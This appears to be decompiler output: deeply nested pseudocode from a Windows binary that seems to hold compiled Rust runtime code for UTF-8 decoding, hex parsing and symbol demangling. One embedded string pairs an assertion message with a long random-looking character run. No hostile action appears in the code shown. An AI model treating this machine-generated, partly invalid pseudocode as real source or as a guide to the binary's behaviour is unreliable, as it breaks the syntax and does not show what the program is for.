																																									} else {
																																										_v240 = _t1001;
																																										goto L408;
																																									}
																																								}
																																							}
																																						}
																																					}
																																				}
																																			}
																																		} else {
																																			__eflags = _t841;
																																			_v240 = _t1001;
																																			if(_t841 != 0) {
																																				L408:
																																				__eflags =  *_t1055 - 0x75;
																																				if( *_t1055 != 0x75) {
																																					goto L245;
																																				} else {
																																					_t596 = _v264;
																																					__eflags =  *((char*)(_t596 + 2)) - 0xbf;
																																					if( *((char*)(_t596 + 2)) <= 0xbf) {
																																						_t921 = _v256;
																																						_t815 = _t1055;
																																						_push(0x6e59f0a0);
																																						goto L477;
																																					}
																																					L410:
																																					_t597 = _v264;
																																					_t929 = _v256;
																																					_t826 = _t597 + 2;
																																					_t1055 = _t929 - 1;
																																					_t930 = _t597 + _t929 + 1;
																																					_t1112 = _t826;
																																					_v248 = _t930;
																																					while(1) {
																																						__eflags = _t1112 - _t930;
																																						if(_t1112 == _t930) {
																																							break;
																																						}
																																						_t764 =  *_t1112 & 0x000000ff;
																																						_t502 =  &_v3; // 0xc0
																																						_t606 = _t502;
																																						_t1003 = _t764 & 0x000000ff;
																																						__eflags = _t764;
																																						if(_t764 < 0) {
																																							__eflags = _t606 - _t930;
																																							if(_t606 == _t930) {
																																								_t607 = 0;
																																								_t1112 = _t930;
																																								_t1004 = _t1003 & 0x0000001f;
																																								__eflags = _t764 - 0xdf;
																																								if(_t764 > 0xdf) {
																																									goto L416;
																																								} else {
																																									goto L421;
																																								}
																																							} else {
																																								_t1112 =  &_v2;
																																								_t607 = _v3 & 0x3f;
																																								_t1004 = _t1003 & 0x0000001f;
																																								__eflags = _t764 - 0xdf;
																																								if(_t764 <= 0xdf) {
																																									L421:
																																									_t998 = _t1004 << 0x00000006 | _t607;
																																									goto L427;
																																								} else {
																																									L416:
																																									__eflags = _t1112 - _t930;
																																									if(_t1112 == _t930) {
																																										_t1112 = _t930;
																																										_t609 = _t607 << 6;
																																										__eflags = _t764 - 0xf0;
																																										if(_t764 >= 0xf0) {
																																											goto L418;
																																										} else {
																																											goto L423;
																																										}
																																									} else {
																																										_t943 =  *_t1112 & 0x000000ff;
																																										_t1112 =  &_v3;
																																										_t609 = _t607 << 0x00000006 | _t943 & 0x0000003f;
																																										__eflags = _t764 - 0xf0;
																																										if(_t764 < 0xf0) {
																																											L423:
																																											_t930 = _v248;
																																											_t998 = _t1004 << 0x0000000c | _t609;
																																											goto L427;
																																										} else {
																																											L418:
																																											_t930 = _v248;
																																											__eflags = _t1112 - _t930;
																																											if(_t1112 == _t930) {
																																												_t765 = 0;
																																												__eflags = 0;
																																												_t1112 = _t930;
																																											} else {
																																												_t766 =  *_t1112 & 0x000000ff;
																																												_t1112 =  &_v3;
																																												_t765 = _t766 & 0x0000003f;
																																											}
																																											_t612 = _t609 << 0x00000006 | (_t1004 & 0x00000007) << 0x00000012 | _t765;
																																											__eflags = _t612 - 0x110000;
																																											_t998 = _t612;
																																											if(_t612 == 0x110000) {
																																												break;
																																											} else {
																																												asm("o16 nop [cs:eax+eax]");
																																												goto L427;
																																											}
																																										}
																																									}
																																								}
																																							}
																																						} else {
																																							_t1112 = _t606;
																																							L427:
																																							_t506 = _t998 - 0x30; // -48
																																							__eflags = _t506 - 0xa;
																																							if(_t506 < 0xa) {
																																								continue;
																																							} else {
																																								_t998 = _t998 + 0xffffff9f;
																																								__eflags = _t998 - 6;
																																								if(_t998 < 6) {
																																									continue;
																																								} else {
																																									_t758 = 1;
																																									_t1113 = _v160;
																																									__eflags = _t1055;
																																									if(_t1055 != 0) {
																																										L432:
																																										_t598 =  *_t826;
																																										__eflags = _t598 - 0x2d;
																																										if(_t598 == 0x2d) {
																																											__eflags = _t1055 - 1;
																																											if(_t1055 == 1) {
																																												goto L245;
																																											} else {
																																												goto L437;
																																											}
																																										} else {
																																											__eflags = _t598 - 0x2b;
																																											if(_t598 != 0x2b) {
																																												L437:
																																												_t599 = 0;
																																												__eflags = 0;
																																												asm("o16 nop [cs:eax+eax]");
																																												while(1) {
																																													__eflags = _t1055;
																																													if(_t1055 == 0) {
																																														break;
																																													}
																																													_t935 =  *_t826 & 0x000000ff;
																																													_t998 = _t935 - 0x30;
																																													__eflags = _t998 - 0xa;
																																													if(_t998 < 0xa) {
																																														L441:
																																														_t604 = _t599 * 0x10;
																																														__eflags = _t604;
																																														if(_t604 < 0) {
																																															goto L245;
																																														} else {
																																															_t826 =  &(_t826[1]);
																																															_t1055 = _t1055 - 1;
																																															_t599 = _t604 + _t998;
																																															__eflags = _t599;
																																															if(_t599 >= 0) {
																																																continue;
																																															} else {
																																																goto L245;
																																															}
																																														}
																																													} else {
																																														_t941 =  <  ? 0xffffffff : (_t935 | 0x00000020) + 0xffffffffffffffa9;
																																														__eflags = _t941 - 0xf;
																																														_t998 = _t941;
																																														if(_t941 > 0xf) {
																																															goto L245;
																																														} else {
																																															goto L441;
																																														}
																																													}
																																													goto L498;
																																												}
																																												__eflags = (_t599 & 0xfffff800) - 0xd800;
																																												_t830 =  ==  ? 0x110000 : _t599;
																																												__eflags = _t599 - 0x110000;
																																												_t831 =  >=  ? 0x110000 :  ==  ? 0x110000 : _t599;
																																												__eflags = _t831 - 0x110000;
																																												_t758 = _t758 | _t599 & 0xffffff00 | _t831 == 0x00110000;
																																												__eflags = _t758;
																																												if(_t758 != 0) {
																																													goto L245;
																																												} else {
																																													__eflags = _t831 - 0x20;
																																													_v224 = _t831;
																																													if(_t831 < 0x20) {
																																														goto L245;
																																													} else {
																																														__eflags = _t831 + 0xffffff81 - 0x20;
																																														if(_t831 + 0xffffff81 <= 0x20) {
																																															goto L245;
																																														} else {
																																															_t602 = E6E553490( &_v224,  &_v224, _t1113);
																																															_t1127 = _t1127 + 8;
																																															__eflags = _t602;
																																															_t603 = _v236;
																																															_t998 = _v240;
																																															if(_t602 == 0) {
																																																goto L467;
																																															} else {
																																																goto L472;
																																															}
																																														}
																																													}
																																												}
																																											} else {
																																												_t509 =  &_v256;
																																												 *_t509 = _v256 + 0xfffffffe;
																																												__eflags =  *_t509;
																																												if( *_t509 == 0) {
																																													goto L245;
																																												} else {
																																													_t1055 = _v256;
																																													_t826 = _v264 + 3;
																																													goto L437;
																																												}
																																											}
																																										}
																																									} else {
																																										goto L245;
																																									}
																																								}
																																							}
																																						}
																																						goto L498;
																																					}
																																					_t758 = 0;
																																					_t1113 = _v160;
																																					__eflags = _t1055;
																																					if(_t1055 == 0) {
																																						goto L245;
																																					} else {
																																						goto L432;
																																					}
																																				}
																																			} else {
																																				goto L245;
																																			}
																																		}
																																	}
																																} else {
																																	goto L490;
																																}
																															}
																														}
																													}
																												} else {
																													__eflags =  *_t1055 - 0xc0;
																													if( *_t1055 < 0xc0) {
																														L482:
																														E6E579620(_v264, _t924, 1, _t589, 0x6e59f074);
																														_t1127 = _t1127 + 0xc;
																														asm("ud2");
																														goto L483;
																													} else {
																														goto L365;
																													}
																												}
																											}
																										}
																									} else {
																										__eflags =  *(_t1055 + 1) - 0xbf;
																										if( *(_t1055 + 1) <= 0xbf) {
																											_t821 = _t1055;
																											_t925 = _t998;
																											_push(0x6e59f064);
																											goto L496;
																										} else {
																											goto L361;
																										}
																									}
																								} else {
																									__eflags = _t580 - 0x2e;
																									if(_t580 != 0x2e) {
																										break;
																									} else {
																										_t428 = _t1055 + 1; // 0x1
																										_t626 = _t428;
																										__eflags = _t998 - 2;
																										if(_t998 < 2) {
																											_t628 =  *((intOrPtr*)(_a24 + 0xc))(_a20, ".assertion failed: !handle.is_null()C:dhidzhitbujbfqqncawhogkkniegcctcaffidkzeqdjseyaidkczyyqaglapgqobugufdomajsuqnpsbinwfvrqqdagbgthjkpsvdrffbyloxsjdadyxwklhzxnssljgptb", 1);
																											_t1127 = _t1127 + 0xc;
																											_t998 = 0;
																											__eflags = _t628;
																											_t603 = _t626;
																											if(_t628 == 0) {
																												goto L467;
																											} else {
																												goto L472;
																											}
																										} else {
																											_t932 =  *_t626;
																											__eflags = _t932 - 0xbf;
																											if(_t932 <= 0xbf) {
																												goto L491;
																											} else {
																												_t758 = _t626;
																												_t629 = _t932 & 0x000000ff;
																												__eflags = _t932;
																												if(_t932 < 0) {
																													_t1061 = _t1055 + _t998;
																													_t833 = 0;
																													_v260 = _t998;
																													__eflags = _t998 - 2;
																													_t1010 = _t1061;
																													if(_t998 != 2) {
																														_t487 = _v264 + 3; // 0x3
																														_t1010 = _t487;
																														_t833 =  *(_v264 + 2) & 0x3f;
																														__eflags = _t833;
																													}
																													_t630 = _t629 & 0x0000001f;
																													__eflags = _t932 - 0xdf;
																													if(_t932 <= 0xdf) {
																														_t631 = _t630 << 6;
																														goto L455;
																													} else {
																														__eflags = _t1010 - _t1061;
																														if(_t1010 == _t1061) {
																															_v256 = 0;
																															_t1011 = _t1061;
																															_t833 = (_t833 << 6) + _v256;
																															__eflags = _t932 - 0xf0;
																															if(_t932 >= 0xf0) {
																																goto L405;
																															} else {
																																goto L454;
																															}
																														} else {
																															_v248 = _t1061;
																															_t1011 =  &(_t1010[1]);
																															_v256 =  *_t1010 & 0x3f;
																															_t1061 = _v248;
																															_t833 = (_t833 << 6) + _v256;
																															__eflags = _t932 - 0xf0;
																															if(_t932 < 0xf0) {
																																L454:
																																_t631 = _t630 << 0xc;
																																__eflags = _t631;
																																L455:
																																_t1055 = _v264;
																																_t1001 = _v260;
																																__eflags = (_t631 | _t833) - 0x2e;
																																if((_t631 | _t833) == 0x2e) {
																																	goto L333;
																																} else {
																																	goto L456;
																																}
																															} else {
																																L405:
																																__eflags = _t1011 - _t1061;
																																if(_t1011 == _t1061) {
																																	_t933 = 0;
																																	__eflags = 0;
																																} else {
																																	_t933 =  *_t1011 & 0x3f;
																																}
																																_t1055 = _v264;
																																_t1001 = _v260;
																																__eflags = (_t833 << 0x00000006 | (_t630 & 0x00000007) << 0x00000012 | _t933) - 0x2e;
																																if((_t833 << 0x00000006 | (_t630 & 0x00000007) << 0x00000012 | _t933) == 0x2e) {
																																	goto L333;
																																} else {
																																	goto L456;
																																}
																															}
																														}
																													}
																												} else {
																													__eflags = _t629 - 0x2e;
																													if(_t629 != 0x2e) {
																														L456:
																														_t636 =  *((intOrPtr*)(_a24 + 0xc))(_a20, ".assertion failed: !handle.is_null()C:dhidzhitbujbfqqncawhogkkniegcctcaffidkzeqdjseyaidkczyyqaglapgqobugufdomajsuqnpsbinwfvrqqdagbgthjkpsvdrffbyloxsjdadyxwklhzxnssljgptb", 1);
																														_t1127 = _t1127 + 0xc;
																														__eflags = _t636;
																														if(_t636 != 0) {
																															goto L472;
																														} else {
																															__eflags =  *_t758 - 0xbf;
																															if( *_t758 <= 0xbf) {
																																_t821 = _t1055;
																																_t925 = _t1001;
																																_push(0x6e59f044);
																																goto L496;
																															} else {
																																_t998 = _t1001 - 1;
																																_t1055 = _t758;
																																continue;
																															}
																														}
																													} else {
																														L333:
																														_t634 =  *((intOrPtr*)(_a24 + 0xc))(_a20, 0x6e59f020, 2);
																														_t1127 = _t1127 + 0xc;
																														__eflags = _t634;
																														if(_t634 != 0) {
																															goto L472;
																														} else {
																															_t432 = _t1055 + 2; // 0x2
																															_t603 = _t432;
																															__eflags = _t1001 - 3;
																															if(_t1001 < 3) {
																																L336:
																																_t998 = _t1001 + 0xfffffffe;
																																L467:
																																_t1055 = _t603;
																																continue;
																															} else {
																																__eflags =  *_t603 - 0xbf;
																																if( *_t603 <= 0xbf) {
																																	goto L497;
																																} else {
																																	goto L336;
																																}
																															}
																														}
																													}
																												}
																											}
																										}
																									}
																								}
																								goto L498;
																							}
																							_t758 = _t1055 + _t998;
																							_t572 = 0;
																							__eflags = 0;
																							_t817 = _t1055;
																							_v260 = _t998;
																							_v256 = _t758;
																							while(1) {
																								__eflags = _t817 - _t758;
																								if(_t817 == _t758) {
																									goto L245;
																								}
																								_t1055 = _t572;
																								_t575 =  *_t817 & 0x000000ff;
																								_t436 = _t817 + 1; // 0x1
																								_t998 = _t436;
																								_t923 = _t575 & 0x000000ff;
																								__eflags = _t575;
																								if(_t575 >= 0) {
																									L353:
																									__eflags = _t923 - 0x24;
																									if(_t923 == 0x24) {
																										L355:
																										__eflags = _t1055;
																										if(_t1055 == 0) {
																											_t577 =  *((intOrPtr*)(_a24 + 0xc))(_a20, _v264, 0);
																											_t1127 = _t1127 + 0xc;
																											_t1001 = _v260;
																											_t818 = 0;
																											__eflags = _t577;
																											if(_t577 == 0) {
																												goto L376;
																											} else {
																												goto L472;
																											}
																										} else {
																											_t1001 = _v260;
																											__eflags = _t1001 - _t1055;
																											if(__eflags <= 0) {
																												_t825 = _v264;
																												if(__eflags != 0) {
																													goto L485;
																												} else {
																													goto L371;
																												}
																											} else {
																												_t825 = _v264;
																												__eflags =  *((char*)(_t825 + _t1055)) - 0xbf;
																												if( *((char*)(_t825 + _t1055)) > 0xbf) {
																													L371:
																													_t642 =  *((intOrPtr*)(_a24 + 0xc))(_a20, _t825, _t1055);
																													_t1127 = _t1127 + 0xc;
																													__eflags = _t642;
																													if(_t642 != 0) {
																														goto L472;
																													} else {
																														__eflags = _t1001 - _t1055;
																														if(__eflags <= 0) {
																															_t818 = _t1001;
																															if(__eflags != 0) {
																																goto L487;
																															} else {
																																goto L376;
																															}
																														} else {
																															_t643 = _v264;
																															__eflags =  *((char*)(_t643 + _t1055)) - 0xbf;
																															if( *((char*)(_t643 + _t1055)) <= 0xbf) {
																																goto L487;
																															} else {
																																_t818 = _t1055;
																																L376:
																																_t998 = _t1001 - _t818;
																																_t1055 = _v264 + _t818;
																																goto L326;
																															}
																														}
																													}
																												} else {
																													goto L485;
																												}
																											}
																										}
																									} else {
																										_t645 = _t1055 - _t817;
																										_t817 = _t998;
																										_t572 = _t645 + _t998;
																										__eflags = _t923 - 0x2e;
																										if(_t923 != 0x2e) {
																											continue;
																										} else {
																											goto L355;
																										}
																									}
																								} else {
																									__eflags = _t998 - _t758;
																									if(_t998 == _t758) {
																										_t998 = _t758;
																										_t767 = 0;
																										_t945 = _t923 & 0x0000001f;
																										__eflags = _t575 - 0xdf;
																										if(_t575 > 0xdf) {
																											goto L342;
																										} else {
																											goto L347;
																										}
																									} else {
																										_t438 = _t817 + 2; // 0x2
																										_t998 = _t438;
																										_t767 =  *(_t817 + 1) & 0x3f;
																										_t945 = _t923 & 0x0000001f;
																										__eflags = _t575 - 0xdf;
																										if(_t575 <= 0xdf) {
																											L347:
																											_t923 = _t945 << 0x00000006 | _t767;
																											_t758 = _v256;
																											goto L353;
																										} else {
																											L342:
																											_t1114 = _v256;
																											__eflags = _t998 - _t1114;
																											if(_t998 == _t1114) {
																												_t998 = _t1114;
																												_t769 = _t767 << 6;
																												__eflags = _t575 - 0xf0;
																												if(_t575 >= 0xf0) {
																													goto L344;
																												} else {
																													goto L349;
																												}
																											} else {
																												_t1119 =  *_t998 & 0x000000ff;
																												_t998 = _t998 + 1;
																												_t769 = _t767 << 0x00000006 | _t1119 & 0x0000003f;
																												__eflags = _t575 - 0xf0;
																												if(_t575 < 0xf0) {
																													L349:
																													_t923 = _t945 << 0x0000000c | _t769;
																													_t758 = _v256;
																													goto L353;
																												} else {
																													L344:
																													_t1116 = _v256;
																													__eflags = _t998 - _t1116;
																													if(_t998 == _t1116) {
																														_t646 = 0;
																														__eflags = 0;
																														_t998 = _t1116;
																													} else {
																														_t647 =  *_t998 & 0x000000ff;
																														_t998 = _t998 + 1;
																														_t646 = _t647 & 0x0000003f;
																													}
																													_t772 = _t769 << 0x00000006 | (_t945 & 0x00000007) << 0x00000012 | _t646;
																													__eflags = _t772 - 0x110000;
																													_t923 = _t772;
																													_t758 = _v256;
																													if(_t772 == 0x110000) {
																														goto L245;
																													} else {
																														asm("o16 nop [cs:eax+eax]");
																														goto L353;
																													}
																												}
																											}
																										}
																									}
																								}
																								goto L498;
																							}
																							goto L245;
																						}
																					} else {
																						goto L324;
																					}
																				}
																			} else {
																				_t846 = _v160;
																				_t651 =  *((intOrPtr*)( *((intOrPtr*)(_t846 + 0x1c)) + 0xc))( *((intOrPtr*)(_t846 + 0x18)), 0x6e59f020, 2);
																				_t1127 = _t1127 + 0xc;
																				__eflags = _t651;
																				if(_t651 != 0) {
																					L472:
																					_t558 = 1;
																					goto L471;
																				} else {
																					goto L322;
																				}
																			}
																		} else {
																			L294:
																			__eflags = _v228 - _v232;
																			if(_v228 != _v232) {
																				goto L320;
																			} else {
																				__eflags = _t1059;
																				if(_t1059 == 0) {
																					goto L320;
																				} else {
																					__eflags = _v256 - 0x68;
																					if(_v256 != 0x68) {
																						goto L320;
																					} else {
																						__eflags = _t1059 - 2;
																						if(_t1059 < 2) {
																							goto L470;
																						} else {
																							_t950 =  *_t1103;
																							_t652 = _t1103;
																							__eflags = _t950 - 0xc0;
																							if(_t950 < 0xc0) {
																								L483:
																								_t825 = _v264;
																								_t927 = _t1055;
																								_push(0x6e59efb0);
																								L484:
																								_push(_t1055);
																								_push(1);
																								E6E579620(_t825, _t927);
																								_t1127 = _t1127 + 0xc;
																								asm("ud2");
																								L485:
																								_t928 = _t1001;
																								_push(0x6e59f0b0);
																								goto L486;
																							} else {
																								_t1001 = _t652 + 1;
																								__eflags = _t950;
																								if(_t950 < 0) {
																									L301:
																									_t775 = _v252;
																									_t952 = _t950 & 0x0000001f;
																									__eflags = _t1001 - _t775;
																									if(_t1001 == _t775) {
																										_t847 = 0;
																										_t653 = _t775;
																										_t776 = _t952 & 0x000000ff;
																										__eflags = _t952 - 0xdf;
																										if(_t952 > 0xdf) {
																											goto L303;
																										} else {
																											goto L308;
																										}
																									} else {
																										_t853 = _t654[1] & 0x000000ff;
																										_t654 =  &(_t654[2]);
																										_t847 = _t853 & 0x0000003f;
																										_t776 = _t952 & 0x000000ff;
																										__eflags = _t952 - 0xdf;
																										if(_t952 <= 0xdf) {
																											L308:
																											_t779 = _t776 << 6;
																											goto L311;
																										} else {
																											L303:
																											_t1012 = _v252;
																											__eflags = _t653 - _t1012;
																											if(_t653 == _t1012) {
																												_t654 = _t1012;
																												_t1001 = 0;
																												_t849 = _t847 << 6;
																												__eflags = _t952 - 0xf0;
																												if(_t952 >= 0xf0) {
																													goto L305;
																												} else {
																													goto L310;
																												}
																											} else {
																												_t654 =  &(_t653[1]);
																												_t1001 =  *_t653 & 0x3f;
																												_t847 = _t847 << 0x00000006 | _t1001;
																												__eflags = _t952 - 0xf0;
																												if(_t952 < 0xf0) {
																													L310:
																													_t779 = _t776 << 0xc;
																													__eflags = _t779;
																													L311:
																													_t852 = _t847 | _t779;
																													_t762 = _v260;
																													goto L315;
																												} else {
																													L305:
																													_t1001 = _v252;
																													__eflags = _t654 - _t1001;
																													if(_t654 == _t1001) {
																														_t953 = 0;
																														__eflags = 0;
																														_t654 = _t1001;
																													} else {
																														_t956 =  *_t654 & 0x000000ff;
																														_t654 =  &(_t654[1]);
																														_t953 = _t956 & 0x0000003f;
																													}
																													_t762 = _v260;
																													_t852 = _t849 << 0x00000006 | (_t776 & 0x00000007) << 0x00000012 | _t953;
																													__eflags = _t852 - 0x110000;
																													if(_t852 == 0x110000) {
																														goto L470;
																													} else {
																														asm("o16 nop [cs:eax+eax]");
																														goto L315;
																													}
																												}
																											}
																										}
																									}
																								} else {
																									L300:
																									_t852 = _t950 & 0x000000ff;
																									_t654 = _t1001;
																									L315:
																									_t418 = _t852 - 0x30; // -48
																									__eflags = _t418 - 0xa;
																									if(_t418 < 0xa) {
																										L317:
																										__eflags = _t654 - _v252;
																										if(_t654 == _v252) {
																											goto L470;
																										} else {
																											_t950 =  *_t654;
																											_t1001 =  &(_t654[1]);
																											__eflags = _t950;
																											if(_t950 >= 0) {
																												goto L300;
																											} else {
																												goto L301;
																											}
																										}
																									} else {
																										_t858 =  <  ? 0xffffffff : (_t852 | 0x00000020) + 0xffffffffffffffa9;
																										__eflags = ( <  ? 0xffffffff : (_t852 | 0x00000020) + 0xffffffffffffffa9) - 0xf;
																										if(( <  ? 0xffffffff : (_t852 | 0x00000020) + 0xffffffffffffffa9) > 0xf) {
																											goto L320;
																										} else {
																											goto L317;
																										}
																									}
																								}
																							}
																						}
																					}
																				}
																			}
																		}
																	} else {
																		L481:
																		_t928 = _t758;
																		_push(0x6e59f010);
																		L486:
																		_push(_t1055);
																		_push(0);
																		E6E579620(_t825, _t928);
																		_t1127 = _t1127 + 0xc;
																		asm("ud2");
																		L487:
																		_t820 = _v264;
																		_t924 = _t1001;
																		_push(0x6e59f0c0);
																		_push(_t1001);
																		L488:
																		_push(_t1055);
																		E6E579620(_t820, _t924);
																		_t1127 = _t1127 + 0xc;
																		asm("ud2");
																		L489:
																		_t583 = E6E579980(_t758, _t1001, _t1055, __eflags);
																		asm("ud2");
																		L490:
																		E6E579620(_t820, _t924, _t583, _t924, 0x6e59f084);
																		_t1127 = _t1127 + 0xc;
																		asm("ud2");
																		L491:
																		_t821 = _t1055;
																		_t925 = _t1001;
																		_push(0x6e59f034);
																		L496:
																		_push(_t1001);
																		_push(1);
																		E6E579620(_t821, _t925);
																		asm("ud2");
																		L497:
																		E6E579620(_t1055, _t1001, 2, _t1001, 0x6e59f054);
																		asm("ud2");
																		asm("int3");
																		asm("int3");
																		asm("int3");
																		asm("int3");
																		asm("int3");
																		asm("int3");
																		asm("int3");
																		asm("int3");
																		asm("int3");
																		asm("int3");
																		asm("int3");
																		asm("int3");
																		asm("int3");
																		_t587 = _v256;
																		return  *((intOrPtr*)( *((intOrPtr*)(_t587 + 0x1c)) + 0xc))( *((intOrPtr*)(_t587 + 0x18)), "SizeLimitExhausted", 0x12);
																	}
																}
															}
														}
														goto L498;
													}
												}
												L470:
												_t558 = 0;
												__eflags = 0;
												goto L471;
											} else {
												_v224 = 0;
												_v220 =  *((intOrPtr*)(_t556 + 4));
												_v216 =  *((intOrPtr*)(_t556 + 8));
												_v212 = 0;
												_v208 = 0;
												_v204 = _t918;
												_v200 = 0;
												_t558 = E6E554AE0( &_v224);
												L471:
												return _t558;
											}
										} else {
											_t58 = _t910 + 1; // 0x1
											_t755 = _t58;
											_t758 =  *(_v160 + _t910) & 0x000000ff;
											_t1142 = _t758 -  *((intOrPtr*)(_t998 + _t910));
											_t910 = _t755;
											if(_t1142 == 0) {
												continue;
											} else {
												_t989 = _v156;
												_v164 = 0;
												_t998 = _t995 + _v124 + _t755;
												goto L9;
											}
										}
										goto L498;
									}
									_t998 = _t995;
									_t911 = _v136;
									_t996 = _v156;
									asm("o16 nop [eax+eax]");
									while(1) {
										__eflags = _v164 - _t911;
										if(_v164 >= _t911) {
											break;
										}
										_t902 = _t911 - 1;
										__eflags = _t902 - _v144;
										if(__eflags >= 0) {
											L234:
											_t916 = _v144;
											_push(0x6e59f700);
											goto L235;
										} else {
											_t758 = _t902 + _t998;
											_t1055 = _t996;
											__eflags = _t758 - _t996;
											if(__eflags >= 0) {
												_t902 = _t758;
												_t916 = _t1055;
												_push(0x6e59f710);
												goto L235;
											} else {
												_t751 = _v160;
												_t997 = _v148;
												__eflags = ( *(_t751 + _t902) & 0x000000ff) -  *((intOrPtr*)(_t997 + _t758));
												_t996 = _t1055;
												if(( *(_t751 + _t902) & 0x000000ff) ==  *((intOrPtr*)(_t997 + _t758))) {
													continue;
												} else {
													_t998 = _t998 + _v132;
													_v164 = _v128;
													goto L9;
												}
											}
										}
										goto L498;
									}
									L39:
									_t809 = _v152;
									_t1055 = _t998 + 6;
									__eflags = _t1055;
									if(_t1055 == 0) {
										L44:
										__eflags = _t1055 - _a4;
										if(_t1055 != _a4) {
											_t983 = _v152;
											_v140 = _t998;
											_t895 = _t983 + _a4;
											_t1087 = _t1055 + _t983;
											do {
												_t758 =  *_t1087 & 0x000000ff;
												_t704 = _t1087 + 1;
												_t984 = _t758 & 0x000000ff;
												__eflags = _t758;
												if(_t758 < 0) {
													__eflags = _t704 - _t895;
													if(_t704 == _t895) {
														_t1042 = 0;
														_t1055 = _t895;
														_t985 = _t984 & 0x0000001f;
														__eflags = _t758 - 0xdf;
														if(_t758 > 0xdf) {
															goto L55;
														} else {
															goto L60;
														}
													} else {
														_t1048 =  *(_t1087 + 1) & 0x000000ff;
														_t1087 = _t1087 + 2;
														_t1042 = _t1048 & 0x0000003f;
														_t985 = _t984 & 0x0000001f;
														__eflags = _t758 - 0xdf;
														if(_t758 <= 0xdf) {
															L60:
															_t988 = _t985 << 6;
															goto L63;
														} else {
															L55:
															__eflags = _t1055 - _t895;
															if(_t1055 == _t895) {
																_t1055 = _t895;
																_t1044 = _t1042 << 6;
																__eflags = _t758 - 0xf0;
																if(_t758 >= 0xf0) {
																	goto L57;
																} else {
																	goto L62;
																}
															} else {
																_t1087 = _t1055 + 1;
																_t1042 = _t1042 << 0x00000006 |  *_t1055 & 0x3f;
																__eflags = _t758 - 0xf0;
																if(_t758 < 0xf0) {
																	L62:
																	_t988 = _t985 << 0xc;
																	__eflags = _t988;
																	L63:
																	_t984 = _t988 | _t1042;
																	_t998 = _v140;
																	goto L67;
																} else {
																	L57:
																	__eflags = _t1055 - _t895;
																	if(_t1055 == _t895) {
																		_t706 = 0;
																		__eflags = 0;
																		_t1087 = _t895;
																	} else {
																		_t1087 = _t1055 + 1;
																		_t706 =  *_t1055 & 0x3f;
																	}
																	_t1047 = _t1044 << 0x00000006 | (_t985 & 0x00000007) << 0x00000012 | _t706;
																	__eflags = _t1047 - 0x110000;
																	_t984 = _t1047;
																	_t998 = _v140;
																	if(_t1047 == 0x110000) {
																		goto L45;
																	} else {
																		asm("o16 nop [cs:eax+eax]");
																		goto L67;
																	}
																}
															}
														}
													}
												} else {
													_t1087 = _t704;
													L67:
													_t152 = _t984 - 0x41; // -65
													__eflags = _t152 - 6;
													if(_t152 < 6) {
														goto L50;
													} else {
														__eflags = _t984 - 0x30;
														if(_t984 < 0x30) {
															goto L71;
														} else {
															__eflags = _t984 - 0x3a;
															if(_t984 < 0x3a) {
																goto L50;
															} else {
																__eflags = _t984 - 0x40;
																if(_t984 == 0x40) {
																	goto L50;
																} else {
																	goto L71;
																}
															}
														}
													}
												}
												goto L498;
												L50:
												__eflags = _t1087 - _t895;
											} while (_t1087 != _t895);
											goto L45;
										} else {
											L45:
											__eflags = _t998;
											if(_t998 == 0) {
												L215:
												_t808 = 3;
												goto L216;
											} else {
												_t1055 = _a4;
												__eflags = _t998 - _t1055;
												_v160 = _t1055;
												if(__eflags >= 0) {
													_t916 = _v152;
													if(__eflags == 0) {
														goto L72;
													} else {
														goto L89;
													}
												} else {
													_t916 = _v152;
													__eflags =  *((char*)(_t916 + _t998)) - 0xbf;
													if( *((char*)(_t916 + _t998)) <= 0xbf) {
														L89:
														_t809 = _t916;
														_t917 = _a4;
														_push(0x6e59f4bc);
														_push(_t998);
														_push(0);
														goto L242;
													} else {
														_v160 = _t998;
														L72:
														__eflags = _v160 - 3;
														if(_v160 >= 3) {
															__eflags =  *(_t916 + 2) & 0x000000ff ^ 0x0000004e |  *_t916 & 0x0000ffff ^ 0x00005a5f;
															if(( *(_t916 + 2) & 0x000000ff ^ 0x0000004e |  *_t916 & 0x0000ffff ^ 0x00005a5f) == 0) {
																__eflags = _v160 - 4;
																_t758 = 0xfffffffd;
																_t806 = 3;
																if(_v160 < 4) {
																	_v160 = 3;
																	goto L93;
																} else {
																	__eflags =  *((char*)(_t916 + 3)) - 0xbf;
																	if( *((char*)(_t916 + 3)) > 0xbf) {
																		goto L93;
																	} else {
																		_t809 = _t916;
																		_t917 = _v160;
																		_push(0x6e59ef80);
																		goto L241;
																	}
																}
															} else {
																goto L76;
															}
														} else {
															__eflags = _v160 - 2;
															_t808 = 3;
															_v160 = 2;
															if(_v160 == 2) {
																L76:
																__eflags = ( *_t916 & 0x0000ffff) - 0x4e5a;
																if(( *_t916 & 0x0000ffff) == 0x4e5a) {
																	__eflags = _v160 - 3;
																	_t758 = 0xfffffffe;
																	_t806 = 2;
																	if(_v160 < 3) {
																		_v160 = 2;
																		goto L93;
																	} else {
																		__eflags =  *(_t916 + 2) - 0xbf;
																		if( *(_t916 + 2) > 0xbf) {
																			goto L93;
																		} else {
																			_t809 = _t916;
																			_t917 = _v160;
																			_push(0x6e59ef90);
																			goto L238;
																		}
																	}
																} else {
																	__eflags = _v160 - 4;
																	if(_v160 < 4) {
																		L160:
																		__eflags = _v160 - 3;
																		if(_v160 < 3) {
																			__eflags = _v160 - 2;
																			_t808 = 3;
																			if(_v160 != 2) {
																				goto L216;
																			} else {
																				__eflags =  *_t916 - 0x52;
																				_v160 = 2;
																				if( *_t916 != 0x52) {
																					goto L216;
																				} else {
																					goto L170;
																				}
																			}
																		} else {
																			goto L161;
																		}
																	} else {
																		__eflags =  *_t916 - 0x4e5a5f5f;
																		if( *_t916 != 0x4e5a5f5f) {
																			L161:
																			__eflags = ( *_t916 & 0x0000ffff) - 0x525f;
																			if(( *_t916 & 0x0000ffff) == 0x525f) {
																				_t685 =  *(_t916 + 2);
																				__eflags = _t685 - 0xbf;
																				if(_t685 <= 0xbf) {
																					_t809 = _t916;
																					_t917 = _v160;
																					_push(0x6e59f138);
																					L238:
																					_push(_t917);
																					_push(2);
																					goto L242;
																				} else {
																					_t863 = _t916 + 2;
																					_t780 = 0xfffffffe;
																					__eflags = _t685 + 0xbf - 0x19;
																					if(_t685 + 0xbf > 0x19) {
																						goto L215;
																					} else {
																						goto L175;
																					}
																				}
																			} else {
																				__eflags =  *_t916 - 0x52;
																				if( *_t916 == 0x52) {
																					L170:
																					_t553 =  *((intOrPtr*)(_t916 + 1));
																					__eflags = _t553 - 0xbf;
																					if(_t553 <= 0xbf) {
																						goto L236;
																					} else {
																						_t863 = _t916 + 1;
																						_t780 = 0xffffffff;
																						__eflags = _t553 + 0xbf - 0x19;
																						if(_t553 + 0xbf <= 0x19) {
																							goto L175;
